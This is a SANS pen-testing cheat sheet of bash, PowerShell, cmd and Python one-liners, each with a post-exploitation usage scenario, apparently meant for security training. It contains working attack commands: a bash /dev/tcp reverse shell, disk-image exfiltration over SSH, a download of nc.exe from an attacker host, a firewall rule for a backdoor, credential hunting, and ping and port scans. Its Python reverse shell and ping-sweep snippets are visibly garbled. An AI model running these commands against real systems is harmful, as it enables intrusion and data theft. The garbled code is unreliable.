

Useful IPv6 Pivot

```
$ IPV6ADDR=fc00:660:0:1::46
&& PORT=110 && socat
TCP-LISTEN:$PORT,reuseaddr,
fork TCP6:[IPV6ADDR]:$PORT
```

Redirect IPv6 listening TCP port to localhost IPv4.

Usage scenario: Pivoting a connection across the network via IPv6 to a local listening port on IPv4, allowing IPv4-focused TCP tools to attack across IPv6.

What's My Public IP address?

```
$ curl -4 icanhazip.com
```

or

```
$ dig +short
myip.opendns.com
resolver1.opendns.com
```

or

```
$ wget -qO- ifconfig.me/ip
```

Get the external IP address of the machine the command is run on.

Usage scenario: After exploiting a machine, especially via client-side exploit, determine the external IP address of that machine to better understand where the machine is and how it is accessing the outside world.

Encrypted Exfil Channel!

```
# dd if=/dev/rdisk0s1s2
bs=65536 conv=noerror,sync
| ssh -C user@10.10.10.10
"cat >/tmp/image.dd"
```

Exfiltrate the contents of an image via SSH to another machine, compressing (-C) the content to speed up transfer.

Usage scenario: Upon exploiting a machine with a small file system or particularly interesting partition, move that partition to the pen tester's machine, compressing and encrypting data using SSH.

Sudo... Make Me a Sandwich

```
$ alias gah='sudo $(history
-p \!\!)
```

Type "gah" after you forgot to use sudo, and it'll sudo your most recent command.

Usage scenario: Day-to-day bash tricks to make life easier.

Bash

Find Juicy Stuff in the File System

```
$ find /PATH/TO/DIRECTORY
-name "FILE-FILTER" -type
f -exec grep -i "STRING"
{} \; -print 2>/dev/null
```

Search /PATH/TO/DIRECTORY for files of the type "FILE-FILTER" (e.g., *.txt) that contain the "STRING", displaying the line of the file with "STRING" and the file name.

Usage scenario: Find password files, database connection strings, encryption keys, and a multitude of other useful items during post-exploitation.

Make Output Easier to Read

```
$ alias cc=cat='pygmentize
-O bg=dark,style=colorful'
```

Cat a file using colorful output.

Usage scenario: Review XML, code, or configuration files in a manner that is easier to read and makes the world a more beautiful place.

Check Service Every Second

```
$ while (true); do nc -vv
-z -w3 10.10.10.10 80 >
/dev/null && echo -e
"Service is up"; sleep 1;
done
```

Measure whether a service is still up by connecting to its port every 1 second.

Usage scenario: verify service is still running during exploitation.

Featured in: SEC560

Bash's Built-In Netcat Client

```
$ bash -i >&
/dev/tcp/10.10.10.10/8080
0>&1
```

Create a reverse shell back to a given IP address and port.

Usage scenario: Exploit a target machine (e.g., through command injection) and get a shell using only built-in features of bash.

Ping Sweeper!

```
PS C:\> 1..255 | % {echo
"10.10.10.$ "; ping -n 1 -w 100
10.10.10.$_ | Select-String ttl}
```

Conduct a ping sweep of a target IP address space, using only built-in features.

Usage scenario: In post-exploitation, find additional target machines.

One-Line Web Client

```
Win 7: PS C:\> (New-Object
System.Net.WebClient).DownloadFile("http://
10.10.10.10/nc.exe","c:\nc.exe")
```

```
Win 8 and later: PS C:\> wget
"http://10.10.10.10/nc.exe" -outfile
"c:\nc.exe"
```

Instantiate a web client to download a file (such as nc.exe) from a given URL.

Usage scenario: Moving files.
Featured in: SEC560

Get Firewall Rules

```
PS C:\> Get-NetFirewallRule -all |
Out-GridView
```

```
PS C:\> Get-NetFirewallRule -all | Export-csv
<file_path.csv>
```

List the firewall rules and display them in grid view or CSV.

Usage scenario: Review the Windows built-in firewall rules to look for open ports to use for attacks and pivots.

PowerShell

Add a Firewall Rule

```
PS C:\> New-NetFirewallRule -Action Allow
-DisplayName Pentester-C2 -RemoteAddress
<IPADDR>
```

Add a firewall rule to the built-in Windows firewall.

Usage scenario: Allow connections into a new port for a listening backdoor, a service ready to deliver an exploit to clients, or a pivot.

Built-in Port Scanner!

```
PS C:\> 1..1024 | % {echo ((new-object
Net.Sockets.TcpClient).Connect("<IPADDR>",
$_)) "Port $_ is open!" } 2>$null
```

Conduct a port scan of a target IP address, using only built-in features.

Usage scenario: Discover open ports on other target machines, using only built-in features.

SANS CMD.exe KUNG-FU!

```
C:\> netsh wlan set hostednetwork mode=allow ssid=<MYSSID>
key=<MYPASSWORD> && netsh wlan start hostednetwork
```

Configure a Windows machine as a WPA2-PSK Access Point.

Usage scenario: Share a Windows machine's Internet access with other systems wirelessly, or use a Windows machine to attract wireless clients into joining it for exploitation purposes.

```
C:\> netsh interface portproxy add v4tov6 listenport=<LPORT>
listenaddress=0.0.0.0 connectport=<RPORT> connectaddress=<RHOST>
```

Configure a TCP port forwarding relay from IPv4 to IPv6 (v4tov4, v6tov6, and v6tov4 also supported).

Usage scenario: Pivot a TCP connection through a Windows machine using built-in functionality, converting IPv4 to IPv6 as needed.

```
C:\> netstat -naob 1 | find "<IPADDR or PORT>"
```

Get a list of TCP and UDP activity every 1 second.

Usage scenario: Look for a connection coming in from a specific IP address or port to determine when the connection occurs, within 1 second.

```
C:\> wmic process list full
```

Get a list of all available attributes of all running processes.

Usage scenario: Look through processes to determine what is running, including potentially exploitable software, malware, and other tools.

```
C:\> tasklist /svc
```

Get a list of services running inside of each process.

Usage scenario: Look for running services that might be exploitable or running malware.

Subscribe to SANS [GPWN](https://lists.sans.org/mailman/listinfo/gpwn-list) Mailing List
<https://lists.sans.org/mailman/listinfo/gpwn-list>

SANS SANS is the most trusted source for information security training, certification, and research.

www.sans.org

Develop hands-on skills for free in the SANS Holiday Hack Challenge! Open year-round for practices. Competition starts in December / Free: www.holidayhackchallenge.com

5 PowerShell Essentials		
Concept	What's it Do?	A Handy Alias
PS C:\> Get-Help [cmdlet] -examples	Shows help & examples	PS C:\> help [cmdlet] -examples
PS C:\> Get-Command	Shows a list of commands	PS C:\> gcm *[string]*
PS C:\> Get-Member	Shows properties & methods	PS C:\> [cmdlet] gm
PS C:\> ForEach-Object { \$_ }	Takes each item on pipeline and handles it as \$_	PS C:\> [cmdlet] % { [cmdlet] \$_ }
PS C:\> Select-String	Searches for strings in files or output, like grep	PS C:\> sls -path [file] -pattern [string]

Find Juicy Stuff in the File System

```
PS C:\> ls -r c:\PATH\TO\DIRECTORY -file | %
{Select-String -path $_ -pattern STRING}
```

Search c:\PATH\TO\DIRECTORY for files that contain the "STRING", displaying the file name and the line containing the STRING.

Usage scenario: Find password files, database connection strings, encryption keys, and a multitude of other useful items during post-exploitation.

PYTHON

Raw Shell -> Terminal

```
python -c 'import pty;
pty.spawn("/bin/bash")'
```

Turns a raw shell gained through an exploit into a terminal session.

Usage scenario: After exploiting a system and getting a raw shell, this command allows pen testers to utilize various Linux commands that require a terminal session (e.g., su, sudo, vi, etc.).

Featured in: SEC560, SEC542

Python Reverse Shell!

```
Python -c "exec('import socket, subprocess;s =
socket.socket();s.connect(('<IPADDR>','<PORT>'))\n
shell=True, stdout=subprocess.Popen(s.recv(1024)),
stderr=subprocess.PIPE,
stdin=subprocess.PIPE);s.send(proc.stdout.read()
)+proc.stderr.read())\n")"
```

Create a reverse Netcat-like shell connection.

Usage scenario: Post-exploitation to create a stable shell.
Featured in: SEC573

Pythonic Web Server

Python 2.x

```
python -m SimpleHTTPServer 8000
```

Python 3.x

```
python3 -m http.server 8000
```

Invoke a web server on port 8000 and serve up the current working directory of the file system for download.

Usage scenario: Moving files.

Featured in: SEC504, SEC560

Python Debugger

```
python -m pdb <PYTHON_FILE>
```

Imports and starts the Python debugger automatically.

Usage scenario: Debugging your Python-based malware for post-exploitation.

Featured in: SEC573, SEC660

SANS TRAINING WISH LIST

- | | |
|--|--|
| <input type="checkbox"/> 460 - Enterprise Vuln Assessment - NEW! | <input type="checkbox"/> 573 - Python |
| <input type="checkbox"/> 504 - Hacker Techniques & Incident Handling | <input type="checkbox"/> 575 - Mobile Pen Test |
| <input type="checkbox"/> 542 - Web App Pen Test | <input type="checkbox"/> 580 - Metasploit (2-Day) |
| <input type="checkbox"/> 550 - Active Defense | <input type="checkbox"/> 617 - Wireless Pen Test |
| <input type="checkbox"/> 560 - Network Pen Test | <input type="checkbox"/> 642 - Advanced Web App Pen Test |
| <input type="checkbox"/> 564 - Red Teaming (2-Day) - NEW! | <input type="checkbox"/> 660 - Advanced PenTest |
| <input type="checkbox"/> 567 - Social Engineering (2-Day) | <input type="checkbox"/> 760 - Elite Exploit Stuff |